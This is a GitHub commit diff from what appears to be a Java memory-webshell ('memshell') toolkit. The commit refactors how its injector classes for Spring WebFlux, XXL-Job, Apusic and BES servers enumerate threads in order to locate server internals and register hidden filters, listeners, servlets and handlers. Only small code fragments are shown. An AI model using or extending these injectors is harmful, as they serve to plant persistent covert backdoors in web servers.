Skip to content

Commit fdae5a7

Browse files
committed
style: unify fetch threads
1 parent edb931b commit fdae5a7

38 files changed

+72
-118
lines changed

memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/injector/SpringWebFluxHandlerFunctionInjector.java

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -10,6 +10,7 @@
1010
import java.lang.reflect.Field;
1111
import java.lang.reflect.Method;
1212
import java.util.List;
13+
import java.util.Set;
1314
import java.util.zip.GZIPInputStream;
1415

1516
/**
@@ -45,7 +46,7 @@ public SpringWebFluxHandlerFunctionInjector() {
4546
}
4647

4748
public Object getWebHandler() throws Exception {
48-
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
49+
Set<Thread> threads = Thread.getAllStackTraces().keySet();
4950
for (Thread thread : threads) {
5051
if (thread.getClass().getName().contains("NettyWebServer")) {
5152
Object nettyWebServer = getFieldValue(thread, "this$0");

memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/injector/SpringWebFluxHandlerMethodInjector.java

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -13,6 +13,7 @@
1313
import java.lang.reflect.Method;
1414
import java.util.Collection;
1515
import java.util.List;
16+
import java.util.Set;
1617
import java.util.zip.GZIPInputStream;
1718

1819
/**
@@ -48,7 +49,7 @@ public SpringWebFluxHandlerMethodInjector() {
4849
}
4950

5051
public Object getWebHandler() throws Exception {
51-
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
52+
Set<Thread> threads = Thread.getAllStackTraces().keySet();
5253
for (Thread thread : threads) {
5354
if (thread.getClass().getName().contains("NettyWebServer")) {
5455
Object nettyWebServer = getFieldValue(thread, "this$0");

memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/injector/SpringWebFluxNettyHandlerInjector.java

Lines changed: 3 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -12,6 +12,7 @@
1212
import java.lang.reflect.Field;
1313
import java.lang.reflect.Method;
1414
import java.net.SocketAddress;
15+
import java.util.Set;
1516
import java.util.zip.GZIPInputStream;
1617

1718
/**
@@ -45,11 +46,8 @@ public SpringWebFluxNettyHandlerInjector() {
4546
private Class<?> handlerClass;
4647

4748
public Object getNettyServer() throws Exception {
48-
ThreadGroup group = Thread.currentThread().getThreadGroup();
49-
Field threads = group.getClass().getDeclaredField("threads");
50-
threads.setAccessible(true);
51-
Thread[] allThreads = (Thread[]) threads.get(group);
52-
for (Thread thread : allThreads) {
49+
Set<Thread> threads = Thread.getAllStackTraces().keySet();
50+
for (Thread thread : threads) {
5351
if (thread.getClass().getName().contains("NettyWebServer")) {
5452
return thread;
5553
}

memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebflux/injector/SpringWebFluxWebFilterInjector.java

Lines changed: 2 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -12,6 +12,7 @@
1212
import java.lang.reflect.Method;
1313
import java.util.ArrayList;
1414
import java.util.List;
15+
import java.util.Set;
1516
import java.util.zip.GZIPInputStream;
1617

1718
/**
@@ -47,9 +48,7 @@ public SpringWebFluxWebFilterInjector() {
4748
}
4849

4950
public FilteringWebHandler getWebHandler() throws Exception {
50-
Method getThreads = Thread.class.getDeclaredMethod("getThreads");
51-
getThreads.setAccessible(true);
52-
Thread[] threads = (Thread[]) getThreads.invoke(null);
51+
Set<Thread> threads = Thread.getAllStackTraces().keySet();
5352
for (Thread thread : threads) {
5453
if (thread.getClass().getName().contains("NettyWebServer")) {
5554
Object nettyWebServer = getFieldValue(thread, "this$0");

memshell-java8/src/main/java/com/reajason/javaweb/memshell/xxljob/injector/XxlJobNettyHandlerInjector.java

Lines changed: 3 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -15,6 +15,7 @@
1515
import java.lang.reflect.Field;
1616
import java.lang.reflect.Method;
1717
import java.util.HashSet;
18+
import java.util.Set;
1819
import java.util.concurrent.LinkedBlockingQueue;
1920
import java.util.concurrent.ThreadPoolExecutor;
2021
import java.util.concurrent.TimeUnit;
@@ -81,11 +82,8 @@ private Class<?> getShellClass() throws Exception {
8182
}
8283

8384
public void inject() throws Exception {
84-
ThreadGroup group = Thread.currentThread().getThreadGroup();
85-
Field threads = group.getClass().getDeclaredField("threads");
86-
threads.setAccessible(true);
87-
Thread[] allThreads = (Thread[]) threads.get(group);
88-
for (Thread thread : allThreads) {
85+
Set<Thread> threads = Thread.getAllStackTraces().keySet();
86+
for (Thread thread : threads) {
8987
if (thread != null && thread.getName().contains("nioEventLoopGroup")) {
9088
Object target;
9189

memshell/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicFilterInjector.java

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -8,6 +8,7 @@
88
import java.lang.reflect.Method;
99
import java.util.ArrayList;
1010
import java.util.List;
11+
import java.util.Set;
1112
import java.util.zip.GZIPInputStream;
1213

1314
/**
@@ -46,7 +47,7 @@ public String getBase64String() throws IOException {
4647

4748
public List<Object> getContext() throws Exception {
4849
List<Object> contexts = new ArrayList<Object>();
49-
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
50+
Set<Thread> threads = Thread.getAllStackTraces().keySet();
5051
for (Thread thread : threads) {
5152
if (thread.getName().contains("HouseKeeper")) {
5253
contexts.add(getFieldValue(getFieldValue(thread, "this$0"), "container"));

memshell/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicListenerInjector.java

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -7,6 +7,7 @@
77
import java.lang.reflect.Method;
88
import java.util.ArrayList;
99
import java.util.List;
10+
import java.util.Set;
1011
import java.util.zip.GZIPInputStream;
1112

1213
/**
@@ -44,7 +45,7 @@ public String getBase64String() throws IOException {
4445

4546
public List<Object> getContext() throws Exception {
4647
List<Object> contexts = new ArrayList<Object>();
47-
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
48+
Set<Thread> threads = Thread.getAllStackTraces().keySet();
4849
for (Thread thread : threads) {
4950
if (thread.getName().contains("HouseKeeper")) {
5051
contexts.add(getFieldValue(getFieldValue(thread, "this$0"), "container"));

memshell/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicServletInjector.java

Lines changed: 2 additions & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -7,6 +7,7 @@
77
import java.lang.reflect.Method;
88
import java.util.ArrayList;
99
import java.util.List;
10+
import java.util.Set;
1011
import java.util.zip.GZIPInputStream;
1112

1213
/**
@@ -45,7 +46,7 @@ public String getBase64String() throws IOException {
4546

4647
public List<Object> getContext() throws Exception {
4748
List<Object> contexts = new ArrayList<Object>();
48-
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
49+
Set<Thread> threads = Thread.getAllStackTraces().keySet();
4950
for (Thread thread : threads) {
5051
if (thread.getName().contains("HouseKeeper")) {
5152
contexts.add(getFieldValue(getFieldValue(thread, "this$0"), "container"));

memshell/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterInjector.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -47,7 +47,7 @@ public String getBase64String() throws IOException {
4747

4848
public List<Object> getContext() throws Exception {
4949
List<Object> contexts = new ArrayList<Object>();
50-
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", null, null);
50+
Set<Thread> threads = Thread.getAllStackTraces().keySet();
5151
for (Thread thread : threads) {
5252
if (thread.getName().contains("ContainerBackgroundProcessor")) {
5353
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");

memshell/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesListenerInjector.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -43,7 +43,7 @@ public BesListenerInjector() {
4343

4444
public List<Object> getContext() throws Exception {
4545
List<Object> contexts = new ArrayList<Object>();
46-
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", null, null);
46+
Set<Thread> threads = Thread.getAllStackTraces().keySet();
4747
for (Thread thread : threads) {
4848
if (thread.getName().contains("ContainerBackgroundProcessor")) {
4949
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");

0 commit comments

Comments
 (0)